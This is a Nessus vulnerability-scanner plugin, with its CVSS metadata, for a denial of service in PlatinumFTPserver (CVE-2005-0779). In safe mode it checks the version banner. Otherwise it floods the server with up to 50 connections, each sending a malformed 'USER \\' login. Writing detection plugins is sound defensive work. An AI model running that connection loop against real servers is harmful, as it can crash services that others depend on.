CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
EPSS
Percentile
91.4%
The installed version of PlatinumFTPserver on the remote host suffers from a denial of service vulnerability. Specifically, when a user tries to login with a username containing a backslash, '', the application displays a dialog box and stops the login process until an administrator acknowledges a message. After several such connection attempts, the ftp server daemon reportedly crashes.
#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description) {
script_id(17321);
script_version("1.17");
script_cve_id("CVE-2005-0779");
script_bugtraq_id(12790);
script_name(english:"PlatinumFTPServer username Multiple Connection Handling Remote Format String");
script_set_attribute(attribute:"synopsis", value:
"The remote FTP server is susceptible to a denial of service attack." );
script_set_attribute(attribute:"description", value:
"The installed version of PlatinumFTPserver on the remote host suffers
from a denial of service vulnerability. Specifically, when a user
tries to login with a username containing a backslash, '\', the
application displays a dialog box and stops the login process until an
administrator acknowledges a message. After several such connection
attempts, the ftp server daemon reportedly crashes." );
script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/393038" );
script_set_attribute(attribute:"solution", value:
"Unknown at this time." );
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"plugin_publication_date", value: "2005/03/14");
script_set_attribute(attribute:"vuln_publication_date", value: "2003/12/24");
script_cvs_date("Date: 2018/11/15 20:50:22");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_summary(english:"Checks for multiple malformed username connection denial of service vulnerability in PlatinumFTPServer");
script_category(ACT_MIXED_ATTACK);
script_family(english:"FTP");
script_copyright(english:"This script is Copyright (C) 2005-2018 Tenable Network Security, Inc.");
script_dependencie("ftpserver_detect_type_nd_version.nasl");
script_exclude_keys("ftp/msftpd", "ftp/ncftpd", "ftp/fw1ftpd", "ftp/vxftpd");
script_require_ports("Services/ftp", 21);
exit(0);
}
include("ftp_func.inc");
port = get_ftp_port(default: 21);
# Get the banner and make sure it looks like an FTP server.
banner = get_ftp_banner(port:port);
if (
!banner ||
!egrep(string:banner, pattern:"^220[ -]") ||
"Platinum" >!< banner
) exit(0);
# Check for vulnerability.
if (safe_checks()) {
# According to the advisory, version 1.0.18 and maybe lower are affected.
#
# nb: PlatinumFTPserver allows the admin to change the banner.
if (egrep(string:banner, pattern:"^220-PlatinumFTPserver V(0\..*|1\.0\.([1-9]|1[0-8]))[^0-9.]")) {
w = strcat(
'Nessus has determined the vulnerability exists on the target simply\n',
'by looking at the version number of PlatinumFTPserver installed\n',
'there.\n'
);
security_warning(port:port, extra: w);
}
}
else {
# Try up to 50 times to log in.
max = 50;
for (i=1; i<=max; i++) {
soc = open_sock_tcp(port);
if (soc) {
# Keep track of socket for later.
sockets[i] = soc;
req = 'USER \\\r\n';
send(socket:soc, data:req);
}
# If we can't open the socket, there's a problem.
else {
security_warning(port);
exit(0);
}
# nb: prevents false positives.
sleep(1);
}
# Release any opened sockets.
for (i=1; i<=max; i++) {
if (sockets[i]) close(sockets[i]);
}
}